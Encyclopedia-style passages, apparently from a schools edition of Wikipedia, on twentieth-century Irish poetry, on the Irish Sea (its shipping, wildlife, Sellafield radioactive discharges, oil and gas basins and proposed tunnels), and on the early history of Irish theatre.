          However, it was to be Yeats' earlier Celtic mode that was to be most influential. Amongst the most prominent followers of the early Yeats were Padraic Colum (18811972), F. R. Higgins (18961941), and Austin Clarke (18961974). In the 1950s, Clarke, returning to poetry after a long absence, turned to a much more personal style and wrote many satires on Irish society and religious practices. Irish poetic Modernism took its lead not from Yeats but from Joyce. The 1930s saw the emergence of a generation of writers who engaged in experimental writing as a matter of course. The best known of these is Samuel Beckett (19061989), who won the Nobel Prize in Literature in 1969. Beckett's poetry, while not inconsiderable, is not what he is best known for. The most significant of the second generation Modernist Irish poets who first published in the 1920s and 1930s include Brian Coffey (19051995), Denis Devlin (19081959), Thomas MacGreevy (18931967), Blanaid Salkeld (18801959), and Mary Devenport O'Neill (18791967). Coffey's two late long poems Advent (1975) and Death of Hektor (1982) are perhaps his most important works; the latter deals with the theme of nuclear apocalypse through motifs from Greek mythology. Of this group, Devlin is the least experimental; his friendship with Allen Tate while working at the Irish embassy in Washington is one index of the traditional tendencies of his verse. Long poems such as 'Lough Derg' (1946) and 'The Heavenly Foreigner' (written in the late 1940s and early '50s) explore ideas of Catholicism and Europe in a densely imagistic and occasionally obscure style.


          While Yeats and his followers wrote about an essentially aristocratic Gaelic Ireland, the reality was that the actual Irish Free State of the 1930s and 1940s was a society of small farmers and shopkeepers. Inevitably, a generation of poets who rebelled against the example of Yeats, but who were not Modernist by inclination, emerged from this environment. Patrick Kavanagh (19041967), who came from a small farm, wrote about the narrowness and frustrations of rural life. John Hewitt (19071987), whom many consider to be the founding father of Northern Irish poetry, also came from a rural background but lived in Belfast and was amongst the first Irish poets to write of the sense of alienation that many at this time felt from both their original rural and new urban homes. Louis MacNeice (19071963), another Northern Irish poet, was associated with the left-wing politics of Michael Roberts's anthology New Signatures but was much less political a poet than W. H. Auden or Stephen Spender, for example. MacNeice's poetry was informed by his immediate interests and surroundings and is more social than political. In the South, the Republic of Ireland, a post-modernist generation of poets and writers emerged from the late 1950s onwards. Prominent among these writers were the poets Antony Cronin, Pearse Hutchinson, John Jordan, Thomas Kinsella and John Montague, most of whom were based in Dublin in the 1960s and 1970s. In Dublin a number of new literary magazines were founded in the 1960s; Poetry Ireland, Arena, The Lace Curtain, and in the 1970s, Cyphers.


          


          Poetry in Irish


          With the foundation of the Irish Free State it became official government policy to promote and protect the Irish language. Although not particularly successful, this policy did help bring about a revival in Irish-language literature. Specifically, the establishment in 1926 of An Gm ("The Project"), a Government sponsored publisher, created an outlet both for original works in Irish and for translations into the language. Since then, a number of Irish-language poets have come to prominence. These include Mirtn  Direin (19101988), Sen  Rordin (19161977), Mire Mhac an tSaoi (born 1922), Gabriel Rosenstock (born 1949), and Nuala N Dhomhnaill (born 1952). While all these poets are influenced by the Irish poetic tradition, they have also shown the ability to assimilate influences from poetries in other languages. The dramatist and actor Michel MacLiammir (1899-1978) included many poetic verses he wrote in the Irish-language in his works.


          


          The Northern School


          The Northern Irish poets have already been mentioned in connection with John Hewitt. Of course, there were others of some importance too, including Robert Greacen (1920-2008), who along Valentin Iremonger edited an important anthology, Contemporary Irish Poetry in 1949. Greacen was born in Derry, lived in Belfast in his youth and then in London during the 1950s, 60s and 70s. He won the Irish Times Prize for Poetry in 1995 for his Collected Poems, after he returned to live in Dublin when he was elected a member of Aosdana. Other poets of note from this time include Roy McFadden (19211999), a friend for many years of Greacen. Another Northern poet of note is Padraic Fiacc (1924- ), who was born in Belfast, but lived in America during his youth. n the 1960s, and coincident with the rise of the Troubles in the province, a number of Ulster poets began to receive critical and public notice. Prominent amongst these were John Montague (born 1929), Michael Longley (born 1939), Derek Mahon (born 1941), Seamus Heaney (born 1939), and Paul Muldoon (born 1951).


          Heaney is probably the best-known of these poets. He won the Nobel Prize in Literature in 1995, and has served as Boylston Professor of Rhetoric and Oratory and Emerson Poet in Residence at Harvard, and as Professor of Poetry at Oxford. Derek Mahon was born in Belfast and worked as a journalist, editor, and screenwriter while publishing his first books. His slim output should not obscure the high quality of his work, which is influenced by modernist writers such as Samuel Beckett.


          Muldoon is Howard G. B. Clark '21 Professor in the Humanities at Princeton University. In 1999 he was also elected Professor of Poetry at the University of Oxford. Some critics find that these poets share some formal traits (including an interest in traditional poetic forms) as well as a willingness to engage with the difficult political situation in Northern Ireland. Others (such as the Dublin poet Thomas Kinsella) have found the whole idea of a Northern school to be more hype than reality, though it must be noted that this view is not widely held.


          


          Experiment


          In the late 1960s, two young Irish poets, Michael Smith (b. 1942) and Trevor Joyce (b. 1947) founded the New Writers Press publishing house and a journal called The Lace Curtain. Partly this was to publish their own work and that of some like-minded friends, and partly it was to promote the work of neglected Irish modernists like Coffey and Devlin. Both Joyce and Smith have published considerable bodies of poetry in their own right. Among the other poets published by the New Writers Press were Geoffrey Squires (born 1942), whose early work was influenced by Charles Olson, and Augustus Young (born 1943), who admired Pound and who has translated older Irish poetry, as well as work from Latin America and poems by Bertolt Brecht. Younger poets who write what might be called experimental poetry include Maurice Scully (born 1952), and Randolph Healy (born 1956). Almost all these poets along with many younger experimentalists have performed their work at the annual SoundEye Festival in Cork.


          


          Outsiders


          In addition to these two loose groupings, a number of prominent Irish poets of the second half of the 20th century could be described as outsiders, although these poets could also be considered leaders of a mainstream tradition in the Republic which was critically eclipsed by the Ulster-centric focus of American and British-based Irish Studies academics and the prejudices of others who are gender study specialists. These include Thomas Kinsella (born 1928), whose early work was influenced by Auden. Kinsella's later work exhibits the influence of Pound in its looser metrical structure and use of imagery but is deeply personal in manner and matter. He is Professor of English at Temple University, Philadelphia. Kinsella also edited the poetry of Austin Clarke, who, in his later work at least, could also be included with the outsiders in Irish poetry.


          Michael Hartnett (19411999) was unusual amongst Irish poets in that he was equally fluent in both Irish and English. As well as original work in both languages, including haiku in English, he published translations in English of bardic poetry and of the Tao Te Ching. In his 1975 book A Farewell to English he declared his intention to write only in Irish in the future, describing English as 'the perfect language to sell pigs in'. A number of volumes in Irish followed: Adharca Broic (1978), An Phurgid (1983) and Do Nuala: Foighne Chrainn (1984). In 1984 he returned to Dublin to live in the suburb of Inchicore. The following year marked his return to English with the publication of Inchicore Haiku, a book that deals with the turbulent events in his personal life over the previous few years. This was followed by a number of books in English including A Necklace of Wrens (1987), Poems to Younger Women (1989) and The Killing of Dreams (1992). He died in Dublin in 1999, aged 58.


          John Jordan (19301988) was a poet, short story writer, literary critic and academic. He was the first Editor of the revived Poetry Ireland magazine in the 1960s and also the founding editor of Poetry Ireland Review in the early 1980s. As editor of the 1960s Poetry Ireland journal he published the young Seamus Heaney and first published work by Paul Durcan and Michael Hartnett. He was a Lecturer in English at University College Dublin and a Professor of English at the Memorial University of Newfoundland at St. John's. He was a noted critic who wrote regularly for the magazine Hibernia and for academic journals such as University Review, Irish University Review, and Studies. He died in Cardiff, Wales, in 1988. His Collected Works have been edited by his Literary Executor, Hugh McFadden. The Collected Poems were published posthumously by Dedalus Press in 1991; The Collected Stories by Poolbeg Press, in 1991; and the Selected Prose, Crystal Clear was published by Lilliput Press, Dublin, in 2006. His Selected Poems , edited with an Introduction by McFadden, was published by Dedalus Press in Dublin in February 2008.


          Eoghan  Tuairisc (Eugene Watters) (19191982) was another bilingual poet. His The Weekend of Dermot and Grace (1964) is one of the most interesting Irish long poems of the second half of the 20th century and one of the few examples of the application of the lessons of T. S. Eliot's The Waste Land in any work by an Irish poet. Patrick Galvin (born 1927) worked mainly with the ballad tradition and his poetry displays his left-wing politics. He has also written several volumes of memoirs, one of which, Song for a Raggy Boy, has been made into a film. Cathal  Searcaigh (born 1956) writes exclusively in Irish. Many of his poems are candidly homoerotic in their subject matter. He has also written plays, such as Oche Gheala ("Moonlit Night"), whose homosexual content created controversy when it opened in Letterkenny in 2001. Other poets mentioned further on in the sections on women poets and Irish poetry in the Twenty-first Century would deserve a prominence equal to the poets mentioned here.


          


          Women poets


          The second half of the century also saw the emergence of a number of women poets of note. Two of the most successful of these are Eavan Boland (born 1944) and Eilan N Chuilleanin (born 1942). Boland has written widely on specifically feminist themes and on the difficulties faced by women poets in a male-dominated literary world. She is professor of English at Stanford University. N Chuilleanin's poetry resists easy summaries and shows her interest variously in explorations of the sacred, women's experience, and Reformation history. She has also translated poetry from a number of languages. N Chuilleanin is a Fellow of Trinity College Dublin where she is an associate professor of English Literature. Other women poets of note are; Vona Groarke; Kerry Hardie; Medbh McGuckian; Paula Meehan; and Nuala N Dhomhnaill, whose first language is Irish, but whose work has been translated into English.


          


          Irish poetry today


          Irish poetry in the 21st Century is undergoing development as radical as the 1960s. Increased globalisation has led to a younger generation of poets seeking influences and precursors as varied as post-war Polish poets and Contemporary Americans. An explosion of talent and publishing has been one of the consequences of free secondary school education introduced in the 1960s. Many southern poets (e.g. Thomas McCarthy, John Ennis, Dennis ODriscoll, Nuala N Dhomhnaill) whose careers were eclipsed by the Ulster-centric focus of foreign-based Irish Studies departments are now coming into wider notice.


          Among the significant Irish poets to have emerged in recent years are: Pat Boran, Ciaran Carson, Patrick Chapman, Tony Curtis, Padraig J. Daly, Greg Delanty, San Dunne, Paul Durcan, Vona Groarke, Kerry Hardie, John Hughes, Thomas McCarthy, Hugh McFadden, Paula Meehan, Sinead Morrissey, Gerry Murphy, Bernard O'Donoghue, Conor O'Callaghan, Caitriona O'Reilly, Justin Quinn, Maurice Riordan, and William Wall


          While academic attention has remained, perhaps disproportionately, focused on poetry from Northern Ireland, several of the younger generation of Irish poets (Justin Quinn, Caitriona O'Reilly) have proved perceptive and independent critics of the contemporary scene.
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          The Irish Sea ( Irish: Muir ireann or Muir Meann; Scottish Gaelic: Muir Eireann Welsh: Mr Iwerddon, Manx: Mooir Vannin) separates the islands of Ireland and Great Britain. It is connected to the Celtic Sea portion of the Atlantic Ocean by St George's Channel between Ireland and Wales, and to the north by the North Channel between Northern Ireland and Scotland which forms part of the International Hydrographic Organisation designated Inner Seas off the West Coast of Scotland marine area. The Isle of Man lies in the middle of the Irish Sea. The sea is of significant economic importance to regional trade, shipping and transport, fishing and power generation in the form of wind power and nuclear plants. There has been long discussion of building an 80 km (50 mile) rail tunnel to link Britain and Ireland. Annual traffic between the two islands amounts to over 12 million passengers and 17 million tonnes of trade.


          


          Shipping


          Unlike Britain, Ireland has no tunnel or bridge connection to mainland Europe. Thus the vast majority of heavy goods trade is done by sea. Northern Irish ports handle 10 million tonnes of goods trade with Britain annually, while ports in the Republic handle 7.6 million tonnes, representing 50% and 40% respectively of total trade by weight.


          The Port of Liverpool handles 32 million tonnes of cargo and 734 thousand passengers a year. Holyhead port handles most of the passenger traffic from Dublin and Dn Laoghaire ports, as well as 3.3 million tonnes of freight.


          Ports in the Republic handle 3,600,000 travellers crossing the Irish Sea each year, amounting to 92% of all sea travel. This has been steadily dropping for a number of years (20% since 1999), probably as a result of low cost airlines.


          Ferry connections from Britain to Ireland across the Irish Sea include the routes from Swansea to Cork; Fishguard and Pembroke to Rosslare; Holyhead to Dn Laoghaire; Holyhead to Dublin; Stranraer to Belfast and Larne; and Cairnryan to Larne. There is also a connection between Liverpool and Belfast via the Isle of Man or direct from Birkenhead. The world's largest car ferry, Ulysses, is operated by Irish Ferries on the Dublin PortHolyhead route, Stena Line also operates between Britain and Ireland. Barrow-in-Furness despite being one of Britain's largest shipbuilding centres, and being home to the United Kingdom's only submarine-building complex, is only a minor port.


          "Irish Sea" is also the name of one of the BBC's Shipping Forecast areas defined by the coordinates:


          There have been various tentative proposals for an Irish Sea Tunnel.


          During World War I the Irish Sea became known as " U-boat Alley", because the U-boats moved their emphasis from the Atlantic to the Irish Sea after the United States entered the war in 1917.


          


          Cities and towns


          Below is a list of cities and towns around the Irish Sea coasts in order of size.


          
            
              	Rank

              	City/Town

              	County

              	Region/Province

              	Population

              	Country
            


            
              	1

              	Dublin

              	Dublin Region

              	Leinster

              	1,045,769

              	[image: Flag of Ireland] Ireland
            


            
              	2

              	Liverpool

              	Merseyside

              	North West

              	447,500

              	[image: Flag of England]England
            


            
              	3

              	Belfast

              	County Antrim

              	Ulster

              	276,459

              	[image: ] Northern Ireland
            


            
              	5

              	Blackpool

              	Lancashire

              	North West

              	142,900

              	[image: Flag of England]England
            


            
              	6

              	Southport

              	Merseyside

              	North West

              	99,456

              	[image: Flag of England]England
            


            
              	7

              	Birkenhead

              	Merseyside

              	North West

              	83,729

              	[image: Flag of England]England
            


            
              	8

              	Bangor

              	County Down

              	Ulster

              	76,851

              	[image: ] Northern Ireland
            


            
              	9

              	Barrow-in-Furness

              	Cumbria

              	North West

              	71,980

              	[image: Flag of England]England
            


            
              	10

              	Wallasey

              	Merseyside

              	North West

              	58,710

              	[image: Flag of England]England
            


            
              	11

              	Morecambe

              	Lancashire

              	North West

              	45,000

              	[image: Flag of England]England
            


            
              	12

              	Lytham St Annes

              	Lancashire

              	North West

              	41,330

              	[image: Flag of England]England
            


            
              	13

              	Drogheda

              	County Louth

              	Leinster

              	35,090

              	[image: Flag of Ireland] Ireland
            


            
              	14

              	Dundalk

              	County Louth

              	Leinster

              	35,085

              	[image: Flag of Ireland] Ireland
            


            
              	15

              	Rhyl

              	Denbighshire

              	Clwyd, Wales

              	35,000

              	[image: Flag of Wales]Wales
            


            
              	17

              	Bray

              	County Wicklow

              	Leinster

              	31,901

              	[image: Flag of Ireland] Ireland
            


            
              	18

              	Thornton-Cleveleys

              	Lancashire

              	North West

              	31,157

              	[image: Flag of England]England
            


            
              	19

              	Colwyn Bay

              	Conwy

              	Clwyd, Wales

              	30,265

              	[image: Flag of Wales]Wales
            


            
              	20

              	Carrickfergus

              	County Antrim

              	Ulster

              	27,201

              	[image: ] Northern Ireland
            


            
              	21

              	Fleetwood

              	Lancashire

              	North West

              	26.840

              	[image: Flag of England]England
            


            
              	22

              	Douglas

              	Middle

              	Isle of Man

              	26,218

              	[image: Flag of the Isle of Man]Isle of Man
            


            
              	20

              	Workington

              	Cumbria

              	North West

              	25,978

              	[image: Flag of England]England
            


            
              	23

              	Whitehaven

              	Cumbria

              	North West

              	25,500

              	[image: Flag of England]England
            


            
              	24

              	Llandudno

              	Conwy

              	Clwyd, Wales

              	20,090

              	[image: Flag of Wales]Wales
            

          


          


          Origin


          The Irish Sea has undergone a series of dramatic changes over the last 20,000 years as the last Ice age ended and was replaced by warmer conditions. At the height of the ice age the central part of the modern sea was probably a long freshwater lake. As the ice retreated 10,000 years ago the lake reconnected to the sea, becoming brackish and then fully saline once again.


          


          Environment


          
            [image: Brittas Bay, on the County Wicklow coast]

            
              Brittas Bay, on the County Wicklow coast
            

          


          


          Biodiversity


          The most accessible and possibly the greatest wildlife resource of the Irish Sea lies in its estuaries: particularly the Dee Estuary, the Mersey Estuary, the Ribble Estuary, Morecambe Bay, the Solway Firth, Loch Ryan, the Firth of Clyde, Belfast Lough, Strangford Lough, Carlingford Lough, Dundalk Bay, Dublin Bay and Wexford Harbour. However, a lot of wildlife also depends on the cliffs, saltmarshes and sand dunes of the adjoining shores, the seabed and the open sea itself.


          The information on the invertebrates of the seabed of the Irish Sea is rather patchy because it is difficult to survey such a large area, where underwater visibility is often poor and information often depends upon looking at material brought up from the seabed in mechanical grabs. However, the groupings of animals present depend to a large extent on whether the seabed is composed of rock, boulders, gravel, sand, mud or even peat. In the soft sediments seven types of community have been provisionally identified, variously dominated by brittle-stars, sea urchins, worms, mussels, tellins, furrow-shells, and tower-shells.


          Parts of the bed of the Irish Sea are very rich in wildlife. The seabed southwest of the Isle of Man is particularly noted for its rarities and diversity , as are the horse mussel beds of Strangford Lough. Scallops and queen scallops are found in more gravelly areas. In the estuaries, where the bed is more sandy or muddy, the number of species is smaller but the size of their populations is larger. Brown shrimp, cockles and edible mussels support local fisheries in Morecambe Bay and the Dee Estuary and the estuaries are also important as nurseries for flatfish, herring and sea bass. Muddy seabeds in deeper waters are home to populations of the Dublin Bay prawn, also known as "scampi".


          The open sea is a complex habitat in its own right. It exists in three spatial dimensions and also varies over time and tide. For example, where freshwater flows into the Irish Sea in river estuaries its influence can extend far offshore as the freshwater is lighter and "floats" on top of the much larger body of saltwater until wind and temperature changes mix it in. Similarly, warmer water is less dense and seawater warmed in the inter-tidal zone may "float" on the colder offshore water. The amount of light penetrating the seawater also varies with depth and turbidity. This leads to differing populations of plankton in different parts of the sea and varying communities of animals that feed on these populations. However, increasing seasonal storminess leads to greater mixing of water and tends to break down these divisions, which are more apparent when the weather is calm for long periods.


          Plankton includes viruses, bacteria, plants ( phytoplankton) and animals ( zooplankton) that drift in the sea. Most are microscopic, but some, such as the various species of jellyfish and sea gooseberry, can be much bigger.


          Diatoms and dinoflagellates dominate the phytoplankton. Although they are microscopic plants, diatoms have hard shells and dinoflagellates have little tails that propel them through the water. Phytoplankton populations in the Irish Sea have a spring "bloom" every April and May, when the seawater is generally at its greenest.


          Crustaceans, especially copepods, dominate the zooplankton. However, many animals of the seabed, the open sea and the seashore spend their juvenile stages as part of the zooplankton. The whole plankton "soup" is vitally important, directly or indirectly, as a food source for most species in the Irish Sea, even the largest. The enormous basking shark, for example, lives entirely on plankton and the leatherback turtle's main food is jellyfish.


          A colossal diversity of invertebrate species live in the Irish Sea and its surrounding coastline, ranging from flower-like fan-worms to predatory swimming crabs to large chameleon-like cuttlefish. Some of the most significant for other wildlife are the reef-building species like the inshore horse mussel of Strangford Lough and the inter-tidal honeycomb worm of Morecambe Bay, Cumbria and Lancashire. These build up large structures over many years and, in turn, provide surfaces, nooks and crannies where other marine animals and plants may become established and live out some or all of their lives.


          There are quite regular records of live and stranded leatherback turtle in and around the Irish Sea. This species travels north to the waters off the British Isles every year following the swarms of jellyfish that form its prey. Loggerhead turtle, Ridley sea turtle and green turtle are found very occasionally in the Irish Sea but are generally unwell or dead when discovered. They have strayed or been swept out of their natural range further south into colder waters.


          The estuaries of the Irish Sea are of international importance for birds. They are vital feeding grounds on migration flyways for shorebirds travelling between the Arctic and Africa. Others depend on the milder climate as a refuge when continental Europe is in the grip of winter..


          Twenty-one species of seabird are reported as regularly nesting on beaches or cliffs around the Irish Sea. Huge populations of the sea duck, common scoter, spend winters feeding in shallow waters off eastern Ireland, Lancashire and North Wales.


          Whales, dolphins and porpoises all frequent the Irish Sea, but knowledge of how many there may be and where they go is somewhat sketchy. About a dozen species have been recorded since 1980, but only three are seen fairly often. These are the harbour porpoise, bottlenose dolphin and common dolphin. The more rarely seen species are minke whale, fin whale, sei whale, sperm whale, northern bottlenose whale, long-finned pilot whale, orca, white-beaked dolphin, striped dolphin and Risso's dolphin..


          The common or harbour seal and the grey seal are both resident in the Irish Sea. Common seals breed in Strangford Lough, grey seals in southwest Wales and, in small numbers, on the Isle of Man. Grey seals haul out, but do not breed, off Hilbre and Walney islands, Merseyside, the Wirral, Barrow-in-Furness Borough, and Cumbria.


          



          


          Radioactive pollution


          The Irish Sea has been described by Greenpeace as the most radioactively contaminated sea in the world with some "eight million litres of nuclear waste" discharged into it each day from Sellafield reprocessing plants, contaminating seawater, sediments and marine life.


          Low-level radioactive waste has been discharged into the Irish Sea as part of operations at Sellafield since 1952. The rate of discharge began to accelerate in the mid- to late 1960s, reaching a peak in the 1970s and generally declining significantly since then. As an example of this profile, discharges of plutonium (specifically 241Pu) peaked in 1973 at 2,755 TBq falling to 8.1TBq by 2004. Improvements in the treatment of waste in 1985 and 1994 resulted in further reductions in radioactive waste discharge although the subsequent processing of a backlog resulted in increased discharges of certain types of radioactive waste. Discharges of technetium in particular rose from 6.1TBq in 1993 to a peak of 192TBq in 1995 before dropping back to 14TBq in 2004. In total 22PBq of 241Pu was discharged over the period 1952 to 1998. Current rates of discharge for many radionuclides are at least 100 times lower than they were in the 1970s.


          Analysis of the distribution of radioactive contamination after discharge reveals that mean sea currents result in much of the more soluble elements such as caesium being flushed out of the Irish Sea through the North Channel about a year after discharge. Measurements of technetium concentrations post-1994 has produced estimated transit times to the North Channel of around six months with peak concentrations off the northeast Irish coast occurring 18-24 months after peak discharge. Less soluble elements such as plutonium are subject to much slower redistribution. Whilst concentrations have declined in line with the reduction in discharges they are markedly higher in the eastern Irish Sea compared to the western areas. The dispersal of these elements is closely associated with sediment activity, with muddy deposits on the seabed acting as sinks, soaking up an estimated 200kg of plutonium. The highest concentration is found in the eastern Irish Sea in sediment banks lying parallel to the Cumbrian coast. This area acts as a significant source of wider contamination as radionuclides are dissolved once again. Studies have revealed that 80% of current sea water contamination by caesium is sourced from sediment banks, whilst plutonium levels in the western sediment banks between the Isle of Man and the Irish coast are being maintained by contamination redistributed from the eastern sediment banks.


          The consumption of seafood harvested from the Irish Sea is the main pathway for exposure of humans to radioactivity. The environmental monitoring report for the period 2003 to 2005 published by the Radiological Protection Institute of Ireland (RPII) reported that in 2005 average quantities of radioactive contamination found in seafood ranged from less than 1 Bq/kg for fish to under 44Bq/kg for mussels. Doses of man-made radioactivity received by the heaviest consumers of seafood in Ireland in 2005 was 1.10 Sv. This compares with a corresponding dosage of radioactivity naturally occurring in the seafood consumed by this group of 148Sv and a total average dosage in Ireland from all sources of 3620Sv. In terms of risk to this group, heavy consumption of seafood generates a 1 in 18 million chance of causing cancer. The general risk of contracting cancer in Ireland is 1 in 522. In the UK, the heaviest seafood consumers in Cumbria received a radioactive dosage attributable to Sellafield discharges of 0.22mSv (220Sv) in 2005. This compares to average annual dose of naturally sourced radiation received in the UK of 2.23mSv (2230Sv).


          


          Oil and gas exploration


          


          East Irish Sea Basin


          With 7.5 trillion cubic feet (210 km) of natural gas and 176 million barrels (28,000,000 m) of petroleum estimated by the field operators as initially recoverable hydrocarbon reserves from eight producing fields (DTI, 2001), the East Irish Sea Basin is at a mature exploration phase. Early Namurian basinal mudstones are the source rocks for these hydrocarbons. Production from all fields is from fault-bounded traps of the Lower Triassic formation, principally the aeolian Sherwood Sandstone reservoir, top-sealed by younger Triassic continental mudstones and evaporites. Future mineral exploration will initially concentrate on extending this play, but there remains largely untested potential also for gas and oil within widespread Carboniferous fluvial sandstone reservoirs. This play requires intraformational mudstone seal units to be present, as there is no top-seal for reservoirs subcropping the regional base Permian unconformity in the east of the basin, and Carboniferous strata crop out at the sea bed in the west.


          


          Caernarfon Bay Basin


          The Caernarfon Bay basin contains up to 7km of Permian and Triassic syn-rift sediments in an asymmetrical graben that is bounded to the north and south by Lower Paleozoic massifs. Only two exploration wells have been drilled so far, and there remain numerous undrilled targets in tilted fault block plays. As in the East Irish Sea Basin, the principal target reservoir is the Lower Triassic, Sherwood Sandstone, top-sealed by younger Triassic mudstones and evaporites. Wells in the Irish Sector to the west have demonstrated that pre-rift, Westphalian coal measures are excellent hydrocarbon source rocks, and are at peak maturity for gas generation (Maddox et al., 1995). Seismic profiles clearly image these strata continuing beneath a basal Permian unconformity into at least the western part of the Caernarfon Bay Basin. The timing of gas generation presents the greatest exploration risk. Maximum burial of, and primary gas migration from, the source rocks could have terminated as early as the Jurassic, whereas many of the tilted fault blocks were reactivated or created during Paleogene inversion of the basin. However, it is also possible that a secondary gas charge occurred during regional heating associated with intrusion of Paleogene dykes, such as those that crop out nearby on the coastline of north Wales. (Floodpage et al., 1999) have invoked this second phase of Paleogene hydrocarbon generation as an important factor in the charging of the East Irish Sea Basins oil and gas fields. It is not clear as yet whether aeromagnetic anomalies in the southeast of Caernarfon Bay are imaging a continuation of the dyke swarm into this area too, or whether they are instead associated with deeply buried Permian syn-rift volcanics. Alternatively, the fault block traps could have been recharged by exsolution of methane from formation brines as a direct result of the Tertiary uplift (cf. Dor and Jensen, 1996).


          


          The Cardigan Bay Basin


          The Cardigan Bay Basin forms a continuation into British waters of Irelands North Celtic Sea Basin, which has two producing gas fields. The basin comprises a south-easterly deepening half-graben near the Welsh coastline, although its internal structure becomes increasingly complex towards the southwest. Permian to Triassic, syn-rift sediments within the basin are less than 3 km thick and are overlain by up to 4km of Jurassic strata, and locally also by up to 2km of Paleogene fluvio-deltaic sediments. The basin has a proven petroleum system, with potentially producible gas reserves at the Dragon discovery near the UK/ROI median line, and oil shows in a further three wells. The Cardigan Bay Basin contains multiple reservoir targets, which include the Lower Triassic (Sherwood Sandstone), Middle Jurassic shallow marine sandstones and limestone (Great Oolite), and Upper Jurassic fluvial sandstone, the reservoir for the Dragon discovery. The most likely hydrocarbon source rocks are Early Jurassic marine mudstones. These are fully mature for oil generation in the west of the British sector, and are mature for gas generation nearby in the Irish sector. Gas-prone, Westphalian pre-rift coal measures may also be present at depth locally. The Cardigan Bay Basin was subjected to two Tertiary phases of compressive uplift, whereas maximum burial that terminated primary hydrocarbon generation was probably around the end of the Cretaceous, or earlier if Cretaceous strata, now missing, were never deposited in the basin. Despite the Tertiary structuration, the Dragon discovery has proved that potentially commercial volumes of hydrocarbons were retained at least locally in Cardigan Bay. In addition to undrilled structural traps, the basin contains untested potential for stratigraphic entrapment of hydrocarbons near synsedimentary faults, especially in the Middle Jurassic section.


          


          The Liverpool Bay Development


          The Liverpool Bay Development is BHP Billiton Petroleum's largest operated asset. It comprises the integrated development of five offshore oil and gas fields in the Irish Sea:


          
            	Douglas oil field


            	Hamilton gas field


            	Hamilton North gas field


            	Hamilton East gas field


            	Lennox oil and gas fiel

          


          Oil is produced from the Lennox and Douglas fields. It is then treated at the Douglas Complex and piped 17 kilometres to an oil storage barge ready for export by tankers. Gas is produced from the Hamilton, Hamilton North and Hamilton East reservoirs. After initial processing at the Douglas Complex the gas is piped by subsea pipeline to the Point of Ayr gas terminal for further processing. The gas is then sent by onshore pipeline to PowerGen's combined cycle gas turbine power station at Connah's Quay. PowerGen is the sole purchaser of gas from the Liverpool Bay development.


          The Liverpool Bay development comprises four offshore platforms. Offshore storage and loading facilities. The onshore gas processing terminal at Point of Ayr.


          Production first started at each filed as follows: Hamilton North in 1995, Hamilton in 1996, Douglas in 1996, Lennox (oil only) in 1996 and Hamilton East 2001. The first contract gas sales were in 1996.


          


          Proposed tunnel projects


          Discussions of linking Britain to Ireland began in 1895, with an application 15,000 towards the cost of carrying out borings and soundings in the North Channel to see if a tunnel between Ireland and Scotland was viable. Sixty years later Harford Montgomery Hyde, Unionist MP for North Belfast, called for the building of such a tunnel. A tunnel project has been discussed several times in the Irish Parliament.


          Several potential Irish Sea tunnel projects have been proposed, most recently the "Tusker Tunnel" between the ports of Rosslare and Fishguard proposed by The Institute of Engineers of Ireland in 2004. A different proposed route between Dublin and Holyhead, was proposed in 1997 by a British engineering firm, Symonds, for a rail tunnel from Dublin to Holyhead. Either tunnel, at 80 kilometres (49.71 miles), would be by far the longest in the world, and would cost an estimated 20 billion.
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          Wind power


          One of the world's largest wind farms is being developed on Arklow Bank, Arklow Bank Wind Park, about 10km off the coast of County Wicklow in the south Irish Sea. The site currently has seven GE 3.6 MW turbines, each with 104 m rotor diameters, the world's first commercial application of offshore wind turbines over three megawatts in size. The operating company, Airtricity, has indefinite plans for nearly 100 further turbines on the site.


          Further wind turbine sites include:


          
            	The North Hoyle site 4-5 miles off the coast from Rhyl and Prestatyn in North Wales, containing thirty 2 MW turbines., NPower Renewables


            	Burbo Bank site 10km off the north Wirral coast


            	A site in the Solway Firth is being developed


            	Turbines are being erected off the coast of Walney Island


            	Turbines are being erected off the coast of Clogherhead (to be called the Oriel Wind Farm)
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          The history of Irish theatre begins with the Gaelic Irish tradition. Much of the literature in that Celtic language was destroyed by conquest, except for a few manuscripts and fragments, such as the Book of Fermoy. The scribe who copied this leather book--Adam  Cianin--copied out a dialogue called the The Colloquy Between Fintan and the Hawk of Achill in the 14th century, and the little play is obviously much older. Such texts indicate something like a Gaelic theatrical tradition that was pagan, and not rooted in Passion plays. The Colloquy (conversation) is divided, as in a script, between one character "Fintan" and the hawk, whose dialogue is indicated above his speeches by "an t-n", or "the bird." The oldest Irish play to survive the Viking and English invasions is probably this Gaelic Irish conversation between a man and a hawk on the island of Achill at the edge of the known world. A source link for the play can be found below.


          The history of Irish theatre in the familiar sense begins with the rise of the English administration in Dublin at the start of the 17th century. Over the next 400 years this small country was to make a disproportionate contribution to drama in English.


          In the early days of its history, theatrical productions in Ireland tended to serve the political purposes of the administration, but as more theatres opened and the popular audience grew, a more diverse range of entertainments were staged. Many Dublin-based theatres developed links with their London equivalents and performers and productions from the British capital frequently found their way to the Irish stage. However, most Irish playwrights from William Congreve to George Bernard Shaw found it necessary to leave their native island to establish themselves.


          At the beginning of the 20th century, theatres and theatre companies dedicated to the staging of Irish plays and the development of indigenous writers, directors and performers began to emerge. This allowed many of the most significant Irish dramatists to learn their trade and establish their reputations in Ireland rather than in Great Britain or the United States.


          


          Small beginnings


          Although there would appear to have been performances of plays on religious themes in Ireland from as early as the 14th century, the first well-documented instance of a theatrical production in Ireland is a 1601 staging of Gorboduc presented by Lord Mountjoy Lord Deputy of Ireland in the Great Hall in Dublin Castle. The play had been written by Thomas Sackville and Thomas Norton for the 1561/2 Christmas festivities at the Inner Temple in London and appears to have been selected because it was a story of a divided kingdom descending into anarchy that was applicable to the situation in Ireland at the time of the performance. Mountjoy started a fashion, and private performances became quite commonplace in great houses all over Ireland over the following thirty years.


          


          The Court in Kilkenny


          In 1642, as a result of the English Civil War, Dublin Royalists were forced to flee the city. Many of them went to Kilkenny to join a confederacy of Old English and Irish that formed in that city. Kilkenny had a tradition of dramatic performance going back to 1366, and the Dublin company, much attenuated, set up in their new home. At least one new play was published in Kilkenny; A Tragedy of Cola's Fury, OR, Lirenda's Misery, a blatantly political work with the Lirenda of the title being an anagram of Ireland.


          With the restoration of the monarchy in 1661, John Ogilby was commissioned to design the triumphal arches and write masques for the new king's entrance into London. Ogilby was reinstated as Master of the Revels and returned to Dublin to open a new theatre in Smock Alley. Although starting well, this new theatre was essentially under the control of the administration in Dublin castle and staged mainly pro-Stuart works and Shakespearean classics. As a result, Irish playwrights and actors of real talent were drawn to London.


          


          The Restoration


